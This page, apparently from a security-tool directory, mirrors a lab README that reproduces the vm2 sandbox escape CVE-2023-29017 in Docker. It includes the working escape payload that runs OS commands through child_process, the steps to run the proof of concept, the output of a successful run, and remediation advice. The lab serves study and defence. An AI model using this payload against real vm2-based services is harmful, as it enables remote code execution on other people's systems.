Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 reproduction with Docker Compose and PoC | Kitploit
Tools/GitHubGitHub/gunwoo105/node_cve-2023-29017
Container SecurityVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 reproduction with Docker Compose and PoC

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-29017 | Remote Code Execution via vm2 Sandbox Escape

[WHS 4th Generation, Class 31] - Kim Geon-woo (@gunwoo105)

Vulnerability Summary

vm2 is a Node.js sandbox library for executing untrusted JavaScript in a restricted environment. Under normal circumstances, code inside the sandbox should not have access to sensitive features of Node.js such as process, require, child_process, and the host file system.

However, in vm2 3.9.14 and below, when an unhandled asynchronous error occurs, host objects passed to Error.prepareStackTrace are not handled safely. An attacker can exploit the constructor chain of this object to obtain the Function constructor and process object from the host context, and ultimately execute operating system commands via child_process.

Environment Setup

Components

Instead of using a pre-built vulnerable image, the image is built directly from the official Node.js base image and the source code included in the repository. The Dockerfile checks the Node.js and vm2 versions, and the build fails if the versions do not match expectations.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

The reason for running worker.js as a separate process is that the PoC triggers an unhandled asynchronous error. Even if the worker terminates during the attack, the web server continues to run, and the success or failure can be reliably verified using a marker file.

Vulnerability Conditions

All of the following conditions must be met:

  1. The application uses vm2 3.9.14 or below.
  2. The attacker can control the JavaScript input to be executed.
  3. The JavaScript is executed inside vm2.
  4. Asynchronous JavaScript execution is allowed.
  5. An unhandled asynchronous error reaches the vulnerable stack trace handling path.
  6. The Node.js process running vm2 has permission to execute operating system commands or access files.

Not every service that has vm2 installed is automatically exposed to remote attacks. The service must have a feature that executes attacker-controlled code in vm2. The /execute endpoint in this lab minimally implements such a use case.

The attack flow is as follows:

root@kitploit:~
Malicious JavaScript delivered
        │
        ▼
Unhandled asynchronous error triggered
        │
        ▼
Error.prepareStackTrace called
        │
        ▼
Host frames object exposed
        │
        ▼
Host Function constructor obtained
        │
        ▼
process → require → child_process
        │
        ▼
OS command execution inside the container

Reproduction Steps

Build Image

root@kitploit:~
docker compose build --no-cache

Image build success

Start Vulnerable Service

root@kitploit:~
docker compose up -d vulnerable

Check container status.

root@kitploit:~
docker compose ps

Check Service Status and Version

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  http://127.0.0.1:3000/health

Service status and version check

Run PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

The PoC automatically verifies the following:

  1. Health check of the vulnerable service
  2. Node.js and vm2 versions
  3. Execution of benign JavaScript 21 * 2
  4. Verification that no marker file is created for benign code
  5. Sending the CVE-2023-29017 payload
  6. Checking if /tmp/vm2-pwned was created
  7. Verifying that the file content contains uid=
  8. Returns exit code 0 on success, exit code 1 on failure

To run everything from build to PoC in one command:

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Verify Evidence File

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Teardown Environment

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

PoC Code

The full PoC is included in poc/poc.js. The core payload is as follows:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Code Behavior

Override Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

The attacker overrides the function that is called when an error stack trace is generated.

Obtain Host Function Constructor

root@kitploit:~
frames.constructor.constructor

By following the constructor chain of the host frames object exposed by the vulnerable vm2, access is gained to the Function constructor of the host context.

Obtain Host process Object

root@kitploit:~
frames.constructor.constructor('return process')();

Creates and executes a function that returns process from the host context.

Execute Operating System Command

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Loads child_process, which is not available inside the sandbox, and executes the Linux id command.

Trigger Unhandled Asynchronous Error

root@kitploit:~
(async () => {}).constructor('return process')();

Makes an async function reference process, which is unavailable in the sandbox, thereby creating a rejected Promise that reaches the vulnerable stack trace handling path.

Execution Results

Benign Control

Benign JavaScript is executed inside vm2 and returns 42, but does not create evidence of operating system command execution.

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Vulnerability Exploitation

When the malicious payload is sent, it escapes the vm2 sandbox and executes the id command inside the container with the permission of the vulnerable Node.js process.

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

The PoC re-verifies the saved evidence and returns the success status.

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

PoC execution success

The evidence file can be checked directly, yielding the following result.

Marker evidence verification

The marker file is deleted before each execution and is not created during the benign code execution step, thus preventing false positives from leftover results of previous runs.

Countermeasures

Update vm2

Update to a version not affected.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

Then update the lockfile and install with pinned dependencies.

root@kitploit:~
npm install --package-lock-only
npm ci

The official advisory states that there is no separate workaround, so continuing to use the vulnerable version is not recommended.

Isolate Execution Environment for Untrusted Code

Do not run untrusted code in the same Node.js process as the application. Isolate it using a separate process, container, or virtual machine, and discard the environment after execution.

Apply Least Privilege

  • Run as a dedicated non-root user
  • Apply no-new-privileges
  • Remove unnecessary Linux capabilities
  • Do not mount the Docker socket or host directories
  • Consider read-only filesystem settings
  • Do not store long-term credentials inside the container

Limit Network and Resources

  • Restrict the executing container's external network access
  • Minimize access to internal management networks and databases
  • Limit CPU, memory, number of processes, and execution time
  • Limit input size and request frequency
  • Monitor for abnormal termination and repeated malicious inputs

Authentication and Input Control

Apply strong authentication and authorization for code execution features, and do not operate arbitrary code execution APIs open to unspecified users. However, authentication is only a supplementary measure to reduce the attack surface and is not a substitute for fixing the vulnerability itself.

Download Tool
ComponentVersion / Configuration
Node.js18.15.0
vm23.9.14
Patch version3.9.15
Execution environmentDocker Compose
Container usernode
Service port127.0.0.1:3000
Package installationnpm ci + package-lock.json
FileRole
docker-compose.ymlDefines the configuration and execution order of the vulnerable service and PoC container
DockerfileBuilds the vulnerable service and PoC images in a multi-stage manner
vulnerable/src/server.jsProvides /health, /execute, /evidence endpoints
vulnerable/src/worker.jsExecutes user input in vm2 in a separate process
poc/poc.jsAutomates version checking, benign control, attack, and evidence verification
vulnerable/package-lock.jsonPins package versions including transitive dependencies